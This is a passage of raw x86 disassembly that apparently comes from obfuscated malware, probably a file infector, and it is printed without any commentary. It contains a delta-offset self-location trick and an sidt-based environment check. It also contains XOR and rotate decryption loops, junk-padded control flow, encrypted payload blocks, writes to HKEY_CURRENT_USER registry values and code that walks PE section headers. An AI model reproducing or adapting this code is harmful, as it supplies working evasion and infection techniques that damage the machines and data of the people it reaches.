%s',0Ah db 0Dh,'CheckIN = %d',0Ah db 0Dh,'CheckOUT = %d',0Ah db 0Dh,'ProcIN = %d',0Ah db 0Dh,'ProcOUT = %d',0Ah db 0Dh,'ExitIN = %d',0Ah db 0Dh,'ExitOUT = %d',0Ah db 0Dh,'TPin = %d',0Ah db 0Dh,0 ; --------------------------------------------------------------------------- cmp dword ptr [ebp+7E9077Dh], 0 jz loc_5B9FB7 lea eax, [ebp+7EBD2EDh] push eax lea eax, [ebp+7EBD257h] push eax push 80000001h call dword ptr [ebp+7EBD2FDh] lea eax, [ebp+7EC5F7Ch] push eax lea eax, [ebp+7EC5F86h] push eax push 0 push 0 lea eax, [ebp+7EBD26Bh] push eax push dword ptr [ebp+7EBD2EDh] call dword ptr [ebp+7E91D8Dh] lea eax, [ebp+7EC5F7Ch] push eax lea eax, [ebp+7EC5F8Ah] push eax push 0 push 0 lea eax, [ebp+7EBD27Dh] push eax push dword ptr [ebp+7EBD2EDh] call dword ptr [ebp+7E91D8Dh] lea eax, [ebp+7EC5F7Ch] push eax lea eax, [ebp+7EC5F96h] push eax push 0 push 0 lea eax, [ebp+7EBD2CAh] push eax push dword ptr [ebp+7EBD2EDh] call dword ptr [ebp+7E91D8Dh] lea eax, [ebp+7EC5F7Ch] push eax lea eax, [ebp+7EC5F9Eh] push eax push 0 push 0 lea eax, [ebp+7EBD2E8h] push eax push dword ptr [ebp+7EBD2EDh] call dword ptr [ebp+7E91D8Dh] lea eax, [ebp+7EC5F7Ch] push eax lea eax, [ebp+7EC5F9Ah] push eax push 0 push 0 lea eax, [ebp+7EBD2D1h] push eax push dword ptr [ebp+7EBD2EDh] call dword ptr [ebp+7E91D8Dh] lea eax, [ebp+7EC5F7Ch] push eax lea eax, [ebp+7EC5F8Eh] push eax push 0 push 0 lea eax, [ebp+7EBD2D9h] push eax push dword ptr [ebp+7EBD2EDh] call dword ptr [ebp+7E91D8Dh] lea eax, [ebp+7EC5F7Ch] push eax lea eax, [ebp+7EC5F92h] push eax push 0 push 0 lea eax, [ebp+7EBD2E0h] push eax push dword ptr [ebp+7EBD2EDh] call dword ptr [ebp+7E91D8Dh] push dword ptr [ebp+7EBD2EDh] call dword ptr [ebp+7E92CBDh] jmp loc_5BA059 ; --------------------------------------------------------------------------- loc_5B9FB7: ; CODE XREF: sdfs____:005B9E84j cmp dword ptr [ebp+7E9116Dh], 0 jz loc_5BA059 cmp dword ptr [ebp+7E91B69h], 0 jnz loc_5B9FE2 mov edx, [ebp+7E90905h] add edx, 1CF8h jmp loc_5B9FF1 ; --------------------------------------------------------------------------- loc_5B9FE2: ; CODE XREF: sdfs____:005B9FCBj lea edx, [ebp+7E92D59h] mov edx, [edx+34h] add edx, 3BD4C340h loc_5B9FF1: ; CODE XREF: sdfs____:005B9FDDj mov [ebp+7E91A75h], edx cmp dword ptr [ebp+7E91A75h], 0 jz loc_5BA059 mov ebx, [ebp+7E91A75h] add ebx, 4Ch mov eax, [ebx] mov [ebp+7EC5F86h], eax mov ebx, [ebp+7E91A75h] add ebx, 50h mov eax, [ebx] mov [ebp+7EC5F8Ah], eax mov ebx, [ebp+7E91A75h] add ebx, 54h mov eax, [ebx] mov [ebp+7EC5F96h], eax mov ebx, [ebp+7E91A75h] add ebx, 58h mov eax, [ebx] mov [ebp+7EC5F9Ah], eax mov ebx, [ebp+7E91A75h] add ebx, 5Ch mov eax, [ebx] mov [ebp+7EC5F8Eh], eax loc_5BA059: ; CODE XREF: sdfs____:005B9FB2j ; sdfs____:005B9FBEj ... cmp dword ptr [ebp+7E9077Dh], 0 jnz loc_5BA073 cmp dword ptr [ebp+7E9116Dh], 0 jz loc_5BA0DB loc_5BA073: ; CODE XREF: sdfs____:005BA060j push dword ptr [ebp+7EC5F9Eh] push dword ptr [ebp+7EC5F92h] push dword ptr [ebp+7EC5F8Eh] push dword ptr [ebp+7EC5F9Ah] push dword ptr [ebp+7EC5F96h] push dword ptr [ebp+7EC5F8Ah] push dword ptr [ebp+7EC5F86h] lea eax, [ebp+7EC5F80h] push eax lea eax, [ebp+7EC5FB8h] push eax lea eax, [ebp+7E90349h] push eax call dword ptr [ebp+7E90AD5h] add esp, 24h push 40h lea eax, [ebp+7EC5FA2h] push eax lea eax, [ebp+7E90349h] push eax push 0 call dword ptr [ebp+7E918C5h] push 1 call dword ptr [ebp+7E9138Dh] loc_5BA0DB: ; CODE XREF: sdfs____:005BA06Dj mov eax, ecx pusha cld mov eax, eax push 0 push ebx call sub_5BA0EC and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA0EC proc near ; CODE XREF: sdfs____:005BA0E4p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5BA0EC endp ; --------------------------------------------------------------------------- dd 0B03349BFh, 0B7D08BD3h, 4810Fh, 0B9660000h, 0BD834520h dd 7E918A5h, 83097500h, 0E91A45BDh, 19740007h, 0C08B5350h dd 40EB8h, 0F9858900h, 8D07E911h, 0EBD7CE9Dh, 5BD3FF07h dd 45BD8358h, 7E91Ah, 53501774h, 40EB8h, 0F9858900h, 8D07E911h dd 0EBD4BD9Dh, 5BD3FF07h, 0EE858h, 25E30000h, 88234311h dd 42DD6DA3h, 0E74C9644h, 890F60h, 0E8000000h, 0Eh, 491EA6Bh dd 47CFFB84h, 9E1995FEh, 61592DECh, 53006A59h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0ABF6A0E6h dd 0C08B1106h, 5E86060h, 9000000h, 57994A95h, 0F8BF0F59h dd 13E961h, 6FAF0000h, 1C91520Eh, 0E80E25BEh, 0C4977CCBh dd 8361F407h, 0BD83614Bh, 7E92EB5h, 2D840F00h, 0E9000000h dd 6, 0DAFAA8AFh, 0C1815C00h, 22818299h, 20DE9h, 6E800h dd 79480000h, 2E7DE471h, 6FACEA81h, 665E537Eh, 703F181h dd 8B60DF8Ch, 3820FC2h, 80000000h, 66616BD2h, 4C7F7h, 1DC850Fh dd 81560000h, 0A2F418DEh, 0BD835E0Ch, 7E921CDh, 38850F00h dd 80000000h, 0DE955D5h, 0BB000000h, 8504409Ah, 4ED34501h dd 0EAF50205h, 1ADE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 2BF9F874h, 5E9FFh, 0A7C20000h dd 8DF91DD4h, 0EC65C79Dh, 0DE85707h, 95000000h, 7F960953h dd 29371A09h, 0D77ED777h, 12E8h, 752B1100h, 0A8B7ECC8h dd 0A1C429D2h, 0E11D4C94h, 59FB3214h, 8B935A5Ah, 595050CBh dd 10E893h, 26990000h, 5BC075B3h, 0A8F78D59h, 1FA71312h dd 3FB9E5B7h, 5E7AD006h, 0FF641CB1h, 35h, 64C6B100h, 2589h dd 0BE660000h, 8E9B34Eh, 71000000h, 609B8ACEh, 8B64696Ah dd 0B7BE66C4h, 0EB01CD9Ah, 8A57F800h, 8F645ACCh, 5, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0F3980F4h, 8Ah, 4C48300h, 0C00BCB8Bh, 0C4840Fh, 0FBBA0000h dd 61477E07h, 6E9h, 59E76E00h, 8064FC31h, 0BD8DDBE5h, 7E96E15h dd 0B8CE8B66h, 1, 0FFFAD180h, 13E9E7h, 0F49B0000h, 50146F55h dd 9B735357h, 0A5EF35ABh, 0B8441CD7h, 5C8B577Fh, 838B1024h dd 0B8h, 140B60Fh, 8389C8FEh, 0B0h, 0B88383h, 5F020000h dd 6AC3C033h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 624CC351h, 65C2BE66h, 86DDB966h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 97C35747h dd 0E8CA3C89h, 0Dh, 863ECCD5h, 2915B93Ch, 0DA2A9865h, 6890F50h dd 81000000h, 32833CF2h, 6A615A7Dh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B46C351h dd 39FCB9C0h, 0BD8341A8h, 7E918A5h, 83097500h, 0E91A45BDh dd 19740007h, 0C08B5350h, 40EB8h, 0F5858900h, 8D07E920h dd 0EBD8359Dh, 5BD3FF07h, 45BD8358h, 7E91Ah, 53501774h dd 40EB8h, 0F5858900h, 8D07E920h, 0EBD4D69Dh, 5BD3FF07h dd 2800F58h, 8B000000h, 0F3B70FCBh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 96C35040h, 0E856339Eh, 12h dd 93C61745h, 0BFD99B29h, 31ED8C8Bh, 743E4A28h, 0AE92E3Fh dd 0B6000000h, 3E6E562Fh, 0FDE7C230h, 8B5A5E31h, 0D38B66C0h dd 18EBC28Bh, 9B46F317h, 5 dup(0) ; --------------------------------------------------------------------------- jmp loc_5BA6F8 ; --------------------------------------------------------------------------- loc_5BA4ED: ; CODE XREF: sdfs____:005BA502j pusha mov ebx, [esp+24h] call $+5 pop ebp sub ebp, 7EC673Dh popa retn 4 ; --------------------------------------------------------------------------- jmp loc_5BA4ED ; --------------------------------------------------------------------------- loc_5BA507: ; CODE XREF: sdfs____:005BA50Cj pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_5BA507 ; --------------------------------------------------------------------------- loc_5BA511: ; CODE XREF: sdfs____:005BA516j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_5BA511 ; --------------------------------------------------------------------------- loc_5BA51B: ; CODE XREF: sdfs____:005BA520j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_5BA51B ; --------------------------------------------------------------------------- loc_5BA525: ; CODE XREF: sdfs____:005BA52Aj pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_5BA525 ; --------------------------------------------------------------------------- align 10h dd 0 dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 0EC6775B5h, 0E68107h dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h, 0EC6779B5h dd 0E9860F07h, 0FFFFFFFh, 220FD820h, 6160CFD8h, 8C6650C3h dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h dd 7E91A75h, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh, 2404FF58h dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 0E9237D95h, 10F5007h dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h, 2588966h dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 7E91A75h dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h dd 0A03E380h, 38840FDBh, 0BB000000h, 2, 1A75858Bh, 188607E9h dd 850FDB0Ah, 0FFFFFFF6h, 0C8185C7h, 7E9h, 448B0000h, 988B0824h dd 1000h, 10009889h, 188B0000h, 0AE91889h, 0C7000000h dd 0E90C8185h, 10007h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h dd 13h, 2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh ; --------------------------------------------------------------------------- loc_5BA6F8: ; CODE XREF: sdfs____:005BA4E8j mov ax, ds test al, 4 jz loc_5BA72C mov dword ptr [ebp+7EC671Ah], 1 push eax sidt fword ptr [esp-2] pop dword ptr [ebp+7EC671Eh] lea eax, [ebp+7EC6716h] lea edi, [ebp+7EC671Eh] mov [eax], edi jmp loc_5BA74F ; --------------------------------------------------------------------------- loc_5BA72C: ; CODE XREF: sdfs____:005BA6FDj lea eax, [ebp+7E92D59h] mov eax, [eax+38h] add eax, 9B46F317h mov [ebp+7EC6716h], eax lea eax, [ebp+7E92D59h] mov eax, [eax+3Ch] mov [ebp+7EC671Ah], eax loc_5BA74F: ; CODE XREF: sdfs____:005BA727j lea eax, [ebp+7EC6733h] mov [ebp+7E9237Dh], eax jmp loc_5BA7E7 ; --------------------------------------------------------------------------- push edx mov edx, esp pusha mov esi, [edx+8] mov edi, [edx+0Ch] mov eax, 0A945CAB2h jmp loc_5BA77B ; --------------------------------------------------------------------------- loc_5BA774: ; CODE XREF: sdfs____:005BA77Dj add [esi], al xor [esi], al ror eax, 1 inc esi loc_5BA77B: ; CODE XREF: sdfs____:005BA76Fj cmp esi, edi jb loc_5BA774 popa pop edx retn 8 ; --------------------------------------------------------------------------- push edx mov edx, esp pusha mov esi, [edx+8] mov edi, [edx+0Ch] mov eax, 0A945CAB2h jmp loc_5BA7A3 ; --------------------------------------------------------------------------- loc_5BA79C: ; CODE XREF: sdfs____:005BA7A5j xor [esi], al sub [esi], al ror eax, 1 inc esi loc_5BA7A3: ; CODE XREF: sdfs____:005BA797j cmp esi, edi jb loc_5BA79C popa pop edx retn 8 ; --------------------------------------------------------------------------- push edx mov edx, esp push esi push ecx push ebx xor ebx, ebx mov esi, [edx+8] mov ecx, [edx+0Ch] jmp loc_5BA7D6 ; --------------------------------------------------------------------------- loc_5BA7C3: ; CODE XREF: sdfs____:005BA7D8j lodsb cmp al, 2Dh jz loc_5BA7D6 add al, 98h xor al, 13h xor bl, al rol ebx, 8 dec ecx loc_5BA7D6: ; CODE XREF: sdfs____:005BA7BEj ; sdfs____:005BA7C6j or ecx, ecx jnz loc_5BA7C3 mov eax, ebx pop ebx pop ecx pop esi pop edx retn 8 ; --------------------------------------------------------------------------- loc_5BA7E7: ; CODE XREF: sdfs____:005BA75Bj lea eax, [ebp+7EC69A6h] mov [ebp+7E917E1h], eax lea eax, [ebp+7EC69CEh] mov [ebp+7E907FDh], eax lea eax, [ebp+7EC69F6h] mov [ebp+7E92C85h], eax call near ptr loc_5BA819+1 insd mov edi, 8FD489FFh popa test [esi], al loc_5BA819: ; CODE XREF: sdfs____:005BA80Bp db 64h jmp loc_5BA82A ; --------------------------------------------------------------------------- popf test [edx], dh or esp, eax lea ebx, [eax] nop xor ebp, ecx lodsd loc_5BA82A: ; CODE XREF: sdfs____:loc_5BA819j pop ecx pusha mov cx, bx mov si, 0A6B3h popa add ecx, 66A6h and esi, 3422CCCBh mov edi, 0 jp loc_5BA84E movsx esi, di loc_5BA84E: ; CODE XREF: sdfs____:005BA845j ; sdfs____:loc_5BA8FDj mov ebx, [ecx+edi] jo loc_5BA867 jmp loc_5BA867 ; --------------------------------------------------------------------------- dd 35DCC45Eh, 0F859EC6Ah ; --------------------------------------------------------------------------- xchg eax, ebp mov bl, 12h loc_5BA867: ; CODE XREF: sdfs____:005BA851j ; sdfs____:005BA857j add ebx, 0D6A3C90h jmp loc_5BA885 ; --------------------------------------------------------------------------- dw 0D30Eh dd 0F896D8C9h, 315DADA8h, 51ECA2B8h, 0BFA67F8Dh db 0BEh ; --------------------------------------------------------------------------- loc_5BA885: ; CODE XREF: sdfs____:005BA86Dj xor ebx, 75E97B92h mov eax, 60E381C6h add ebx, 61DD75DAh mov [ecx+edi], ebx clc mov dx, cx sub edi, 2 mov si, 0A354h dec edi dec edi jnp loc_5BA8C5 push edx jmp loc_5BA8C4 ; --------------------------------------------------------------------------- dw 15C4h dd 58C2F396h, 7346F4B6h, 0EF73C7BCh, 0BEBD45F3h ; --------------------------------------------------------------------------- loc_5BA8C4: ; CODE XREF: sdfs____:005BA8ADj pop esi loc_5BA8C5: ; CODE XREF: sdfs____:005BA8A6j cmp edi, 0FFFF9A58h jnz loc_5BA8E3 add edx, 6F8EAEE6h jmp loc_5BA912 ; --------------------------------------------------------------------------- dd 0F7D595h db 93h, 0E3h, 0E7h ; --------------------------------------------------------------------------- loc_5BA8E3: ; CODE XREF: sdfs____:005BA8CBj jno loc_5BA8FD jmp loc_5BA8FD ; --------------------------------------------------------------------------- dw 1108h dd 3B5CD4E8h, 0AE9E4B69h, 8E6A9FCDh db 15h ; --------------------------------------------------------------------------- loc_5BA8FD: ; CODE XREF: sdfs____:loc_5BA8E3j ; sdfs____:005BA8E9j jmp loc_5BA84E ; --------------------------------------------------------------------------- mov eax, ds:5E748FA1h push 0FFFFFFC7h shr dword ptr [ecx-7Fh], 93h xchg eax, edx retf ; --------------------------------------------------------------------------- db 0BEh db 5Ah, 0DDh ; --------------------------------------------------------------------------- loc_5BA912: ; CODE XREF: sdfs____:005BA8D7j jmp short loc_5BA91C ; --------------------------------------------------------------------------- dd 2 dup(0) ; --------------------------------------------------------------------------- loc_5BA91C: ; CODE XREF: sdfs____:loc_5BA912j jmp loc_5BA99C ; --------------------------------------------------------------------------- db 60h, 52h, 0Fh ; --------------------------------------------------------------------------- add [esp-2], ecx pop edx add edx, 24h loc_5BA92C: ; CODE XREF: sdfs____:005BA963j mov eax, [ebp+7E91B69h] lea eax, [ebp+7ECB93Ah] mov ecx, [eax] mov ecx, [eax+1000h] mov ecx, [edx] mov cx, [edx-4] mov [ebp+7EC6B5Eh], ecx cmp dword ptr [ebp+7E921CDh], 0 jz loc_5BA968 pusha push 0 call dword ptr [ebp+7E90C31h] popa jmp loc_5BA92C ; --------------------------------------------------------------------------- loc_5BA968: ; CODE XREF: sdfs____:005BA953j mov [edx-4], si ror esi, 10h mov [edx+2], si push edx int 4 ; - internal hardware - OVERFLOW ; Generated by INTO instruction if OF flag is set. If flag is not set, INTO ; is effectively a NOP. pop edx mov [ebp+7EC6B5Ah], eax mov esi, [ebp+7EC6B5Eh] ror esi, 10h mov [edx+2], si mov esi, [ebp+7EC6B5Eh] mov [edx-4], si popa mov eax, [ebp+7EC6B5Ah] retn ; --------------------------------------------------------------------------- loc_5BA99C: ; CODE XREF: sdfs____:loc_5BA91Cj lea edx, [ebp+7E90575h] mov [ebp+7E91A75h], edx mov [ebp+7E90875h], edx inc dword ptr [ebp+7E90875h] mov byte ptr [ebp+7E92659h], 53h push 0FCB148D8h push dword ptr [ebp+7E92669h] lea eax, [ebp+7E93ABCh] call eax mov [ebp+7E90C31h], eax lea eax, [ebp+7EC674Dh] mov [ebp+7E90C15h], eax jmp short $+2 jmp loc_5BAFED ; --------------------------------------------------------------------------- jmp loc_5BAFE6 ; --------------------------------------------------------------------------- push 7EC6CEEh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC6E34h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC6EE9h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC6FBEh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC70CDh jmp loc_58B97E ; --------------------------------------------------------------------------- dw 0D2Eh dd 0C256C273h, 759B35B8h, 0D6CE6A0Bh, 0DA7FD954h, 9C9D13A2h dd 0D263193Ch, 0AD2F66h, 74F98394h, 0AD4032D8h, 0E3A3DEC8h dd 2D287058h, 439FA91Fh, 0F0305CC5h, 305CC4B0h, 5CC53C7Dh dd 20912C30h, 0E97BF5A8h, 0C4E0E149h, 71305C93h, 305C9456h dd 5C93E5C1h, 64F37EB0h, 7F94DFD2h, 9602B7B5h, 0D16BF983h dd 5199E375h, 10688F57h, 5C1C339Dh, 0B522CD80h, 64276E23h dd 0B5EFAFCCh, 369AE83Ch, 4778F4BCh, 47Ch, 48E597A4h, 833248ECh dd 0F07DFF11h, 27CE4C44h, 991460F5h, 0A74A2603h, 0A5FC58D5h dd 0D228E27h, 0C456C273h, 48523BBAh, 70595959h, 2381BB28h dd 0ED6A04Ah, 5CC53C97h, 630A0630h, 59DBCB93h, 8733FF85h dd 5C183D75h, 0C16C0280h, 0F0BCC557h, 0ACF06568h, 84300CA2h dd 9C380476h, 97230379h, 7F2AFA82h, 7946B455h, 98B27617h dd 433EB8E8h, 305C5743h, 0FD41D7CDh, 74B456E7h, 94BE9EC1h dd 65FF6F06h, 5C4E6C2Ch, 32FEA430h, 31572F91h, 3BB4F84h dd 4A1B0000h, 970ED6A0h, 305CC53Ch, 865E1832h, 8B5B25CAh dd 2DC97094h, 5CC53474h, 30C6DC30h, 5A8E2F61h, 0A834C6B0h dd 0D266F785h, 3522C74Dh, 94F9C42Ch, 1617970Ah, 9DF9305Ch dd 0AD710785h, 0B7580E21h, 12BE37C5h, 18A67EF8h, 0D799C28Dh dd 2EE9424h, 0CE60C96Fh, 0C08C1EACh, 19E44C2Eh, 4DE79DBFh dd 5C5F5454h, 0B3E6BC30h, 305C5EF3h, 0EA3A42D5h, 58EEB4D8h dd 8AF406CEh, 88AC28BAh, 589012F2h, 0DB594804h, 5F8F2B5Ah dd 0C25B305Ch, 0B4139F1Eh, 2E8A66C0h, 0D4A975F7h, 453CCE59h dd 37B4F6AEh, 0DB139E04h, 0FB340D34h, 336746Bh, 0DD7E0000h dd 92A612A3h, 45EB45E8h, 61EBA3Bh, 0AA4FE984h, 6CCD23D2h dd 0E293E90Ch, 50DD5FB6h, 842953E4h, 0FD700228h, 13930E98h dd 0FD287057h, 0A04A99CFh, 0A8420ED6h, 0A52257F8h, 8C596A28h dd 0F945DB69h, 0A9D367EFh, 906C082Dh, 0A3F22612h, 0EA780017h dd 77E03C4Bh, 0A22A305Ch, 4706F28Ch, 305C676Bh, 0ACECA53Fh dd 64305C66h, 0CFC6F23Eh, 5EA6D67Bh, 0B824B644h, 8A18E496h dd 379372AEh, 0C8305C67h, 9620BA2Dh, 670585FCh, 950F305Ch dd 670E8E03h, 9C06305Ch, 4C1AB554h, 7AE237B5h, 0F87A90D0h dd 334DE26Ah, 0E0891BC7h, 340D82D0h, 817F50ECh, 0A3000002h dd 0EB45E888h, 1CB83547h, 43ED80FAh, 0F05CD153h, 6961F5Dh dd 0D89CB121h, 2AAAFB55h, 7606298Bh, 0BDBF5DFFh, 5E534F30h dd 2870575Eh, 782684B6h, 0AA44EFEDh, 6CC4947Eh, 46D0A248h dd 3E06789Eh, 680A20A4h, 8E220E94h, 0F64E28C2h, 0C432DB25h dd 5737772Ah, 0CFD9305Ch, 5C56D2D2h, 0D2604230h, 0DE98B266h dd 4E12F257h, 0E66C8431h, 76000001h, 773BDC78h, 394B9BE5h dd 6D0F23ABh, 26271391h, 305CC58Ah, 2B3CD62h, 27C98196h dd 0DAAB3552h, 740AA718h, 62B21AA8h, 0F4F252E0h, 6BBB3968h dd 12259159h, 0BFC19A6Ah, 3B45EA1Eh, 651725A1h, 4183008Dh dd 0BD843161h, 48h, 37A0B305h, 0A331ECA5h, 0A30137B5h dd 0DDACC16h, 5F70CC34h, 1ACh, 981567F4h, 0D362183Ch, 0ADCF61h dd 77FE7C94h, 0A94430C5h, 779AF633h, 0D5CC6805h, 0DD72DE57h dd 94A612A3h, 78224BEAh, 70568909h, 13718B28h, 69B92581h dd 0CD891BEBh, 0F78D512Bh, 0ACF4AD3Bh, 64305CC4h, 45EAE63Eh dd 0FC1EBA3Bh, 49EFA282h, 5AFD5FD6h, 0B219322h, 0E8399569h dd 0FAA4C964h, 66BEB852h, 9F12945Ch, 305CC51Fh, 97385F1h dd 831DAB7Bh, 5CC58E0Eh, 0D41C8630h, 812C4EE0h, 0ED645EEh dd 23D2AC42h, 5CC58824h, 0C9B85230h, 305CC4C9h, 0E72572B2h dd 3B5B2159h, 41EC8169h, 22AA44D6h, 0ABE670F2h, 305BC9EBh dd 0D2B37F25h, 37B49F2Fh, 94E40B67h, 0CC62E030h, 0FC7E923Ah dd 0C569F571h, 0F1556FB7h, 0E3D723A1h, 0E5D12D4Fh, 0CCDA2A52h dd 0C2224F31h, 0D2CFE04Fh, 28720AD2h, 66D26042h, 40D763B2h dd 48DEE438h, 4336D8F4h, 10075176h, 0B08C22CBh, 53E572FDh dd 0CB6F935Eh, 8A1032Fh, 3C37AC34h, 9D5304D8h, 87000000h dd 0CF690474h, 70DC512Bh, 0A7119CDEh, 0D440ED6Fh, 22BA3B41h dd 0F4809505h, 46C6DF79h, 92EA0DAFh, 0D99BB1E3h, 3A773354h dd 2870557Ah, 4A02609Ah, 33B1E0A0h, 0C4A8E899h, 3A68305Ch dd 864E58A4h, 0AE340872h, 10DC0D1Fh, 0B57D3695h, 0B589EB01h dd 35FF9EE6h, 6BD85527h, 8430F199h, 10D5h, 449FED00h, 3A305CC5h dd 76CF6610h, 19h, 0C5439F88h, 1725305Ch, 0E40BD365h, 3FCBDE93h dd 8210FE0Eh, 0C5C820A2h, 0E5FB527Dh, 0Ch, 0A8D97335h dd 305CC4E8h, 0CBE7A28h, 0FD7A14Ah, 77CFA943h, 78C4B45Bh dd 7FC7455Ch, 66BEBE53h, 69B5C76Ah, 6FB7356Dh, 53B3CD63h dd 55A9D367h, 0E089505Eh, 405h, 4E88300h, 5C240487h, 68243489h dd 2289h, 56240C89h, 0C681E689h, 4, 4EE81h, 34870000h dd 1C895C24h, 93B85024h, 2D7E544Bh, 7667DF2Fh, 242C8150h dd 2A0237ACh, 0ACC18159h, 582A0237h, 241C8B54h, 4C481h dd 75680000h, 89000015h, 438F240Ch, 241C8B08h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_58B97E ; --------------------------------------------------------------------------- dd 910E2CA3h, 0BC936BA0h, 750647E7h db 45h, 0Fh ; --------------------------------------------------------------------------- loc_5BAFE6: ; CODE XREF: sdfs____:005BA9E7j mov eax, 7EC718Fh add eax, ebp loc_5BAFED: ; CODE XREF: sdfs____:005BA9E2j mov edx, ecx jmp loc_5BB045 ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] add esi, [esi+3Ch] mov edi, [esp+28h] mov edx, esi add edx, 0F8h mov cx, [esi+6] movzx ecx, cx loc_5BB00F: ; CODE XREF: sdfs____:005BB03Aj cmp ecx, 0 jz loc_5BB02E cmp edi, [edx+0Ch] jg loc_5BB036 sub edx, 28h mov eax, [edx+0Ch] mov ecx, [edx+14h] sub eax, ecx sub edi, eax loc_5BB02E: ; CODE XREF: sdfs____:005BB012j ; sdfs____:005BB040j mov [esp+1Ch], edi popa retn 8 ; --------------------------------------------------------------------------- loc_5BB036: ; CODE XREF: sdfs____:005BB01Bj add edx, 28h dec ecx jnz loc_5BB00F jmp loc_5BB02E ; --------------------------------------------------------------------------- loc_5BB045: ; CODE XREF: sdfs____:005BAFEFj mov edx, 9FD3Eh jmp short loc_5BB06C ; --------------------------------------------------------------------------- dd 8 dup(0) ; --------------------------------------------------------------------------- loc_5BB06C: ; CODE XREF: sdfs____:005BB04Aj jmp loc_5BB5E6 ; --------------------------------------------------------------------------- jmp loc_5BB5DF ; --------------------------------------------------------------------------- push 7EC7440h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC7512h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC76BDh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EC772Ch jmp loc_58B97E ; --------------------------------------------------------------------------- dw 8DAEh dd 42D642F3h, 0F51BB538h, 564EEA8Bh, 5AFF59D4h, 1C1D9322h dd 52E399BCh, 802DAFE6h, 0F4790314h, 2DC0B258h, 63235E48h dd 0AD287053h, 0ED78299Fh, 142CEF69h, 0EECA269Fh, 37EE3648h dd 0B05C749Bh, 0FF1CBD41h, 4311405h, 3361h, 0A9F96500h dd 5AFFDB2Bh, 32C0C222h, 449FC4C6h, 0C3305CC5h, 9B35C750h dd 805C1C33h, 79396802h, 9B305CC5h, 32202109h, 5E37B152h dd 3514A944h, 0AE000000h, 46C4DC78h, 7D0CE4FEh, 305CC561h dd 56E077E2h, 2F6F22BCh, 0E1305CC5h, 0E89677C3h, 0A437B151h dd 0DFD26CFEh, 287051DFh, 0F0377431h, 4D924500h, 0D46E73BFh dd 0ADAA44Ah, 5CC53E9Bh, 39DE9B0h, 5CC50E8Eh, 549C06B0h dd 0E9758128h, 0D9FD3547h, 3EA84537h, 24F88296h, 9A9F529Eh dd 0A23E7305h, 92B05CB5h, 6A80CC10h, 143D010Fh, 0EE7C9A72h dd 96012C47h, 38AA8D04h, 3E68B7B5h, 733A4343h, 880C05A8h dd 3C662EB4h, 13AF56AEh, 0D5A8733Ah, 0DAE73FBDh, 0E882CC9Dh dd 0CE62EAF5h, 7006709Ah, 8B1DFACh, 2BD27EEAh, 19EB16EEh dd 6D500Ch, 78720000h, 0E8403ADCh, 8B9B3A35h, 0B0E17B09h dd 37B1588Bh, 0C38B1D87h, 0AA64F29h, 431B96E0h, 6334089Ch dd 324FCD3h, 0E10A0000h, 9EB21E97h, 51E751DCh, 0FA2A862Fh dd 0B65BF578h, 78B12FC6h, 0EE87F518h, 5CD15342h, 901D5FF0h dd 0C9641624h, 787FAA4h, 9287051h, 0DC788DF3h, 0E7FD413Bh dd 0C55C5C55h, 0EEB4305Ch, 2E08D02h, 78D50000h, 84403ADCh dd 0F6220E8Ch, 5FC61E60h, 305CC583h, 15978F57h, 8E7FBBC9h dd 305CC3B2h, 7438DC78h, 3C469E1Ch, 28342AEh, 11305CC4h dd 305CC3B5h, 5CC44662h, 77A1430h, 305CC487h, 0AA821B89h dd 9146AF48h, 456160C8h, 0DEF05C5Ch, 9832C453h, 5C13930Eh dd 0A7FD705Ch, 80681027h, 0B03AE2C1h, 92723077h, 6A737914h dd 0FE052C66h, 6FFC7F32h, 